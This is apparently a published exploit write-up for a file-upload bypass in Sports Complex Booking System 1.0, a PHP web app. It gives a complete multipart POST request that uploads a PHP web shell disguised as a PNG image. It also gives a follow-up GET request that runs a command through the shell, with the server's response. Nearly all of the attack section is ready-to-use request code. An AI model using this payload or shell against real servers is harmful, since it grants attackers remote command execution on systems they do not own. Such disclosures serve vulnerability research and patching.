# Title: Sports Complex Booking System  1.0  Shell Upload
# Author: Hejap Zairy
# Date: 24.07.2022
# Vendor: https://www.sourcecodester.com/php/15236/online-sports-complex-booking-system-phpmysql-free-source-code.html
# Software: https://www.sourcecodester.com/sites/default/files/download/oretnom23/scbs_1.zip
# Reference: https://github.com/Matrix07ksa
# Tested on: Windows, MySQL, Apache

registered user can bypass waf upload .php.png files in attachments section with use of intercept tool in burbsuite to edit the raw


#vulnerability Code  php
Needs more filtering to upload profile files

php```
  window.displayImg = function(input,_this) {
      if (input.files && input.files[0]) {
          var reader = new FileReader();
          reader.onload = function (e) {
            $('#cimg').attr('src', e.target.result);
            _this.siblings('.custom-file-label').html(input.files[0].name)
          }

          reader.readAsDataURL(input.files[0]);
      }else{
            $('#cimg').attr('src', "<?php echo validate_image(isset($image_path) ? $image_path : "") ?>");
            _this.siblings('.custom-file-label').html("Choose file")
        }
  }
```


[+] Payload POST


```
POST /scbs/?p=manage_account HTTP/1.1
Host: 0day.gov
Cookie: PHPSESSID=2vah9hmhjf85ichdav814rhcgu
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------409902128312379197203124536738
Content-Length: 882
Origin: https://0day.gov
Referer: https://0day.gov/scbs/
Upgrade-Insecure-Requests: 1
Te: trailers
Connection: close

-----------------------------409902128312379197203124536738
Content-Disposition: form-data; name="productName"
Hejap Zairy
-----------------------------409902128312379197203124536738
Content-Disposition: form-data; name="productimage1"; filename="0day_hejap.php"
Content-Type: image/png

<?=`$_GET[515]`?>

-----------------------------409902128312379197203124536738
Content-Disposition: form-data; name="submit"
-----------------------------409902128312379197203124536738--
```


#Status: CRITICAL

[+] Payload GET

```
GET /scbs/dist/img/0day_hejap.php?515=echo%200day%20hejap%20Zairy HTTP/1.1
Host: 0day.gov
Cookie: PHPSESSID=2vah9hmhjf85ichdav814rhcgu
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Te: trailers
Connection: close
```

#Response 
```
HTTP/1.1 200 OK
Date: Sun, 20 Mar 2022 08:04:28 GMT
Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/7.4.27
X-Powered-By: PHP/7.4.27
Content-Length: 17
Connection: close
Content-Type: text/html; charset=UTF-8

0day hejap Zairy
```


# Description:
The file upload  bypass WAF vulnerability occurs when the user uploads an executable script file, and through the script file to obtain the ability to execute server-side commands. This attack is the most direct and effective, sometimes having almost no technical barriers.


# Proof and Exploit:
https://i.imgur.com/us3lA1l.png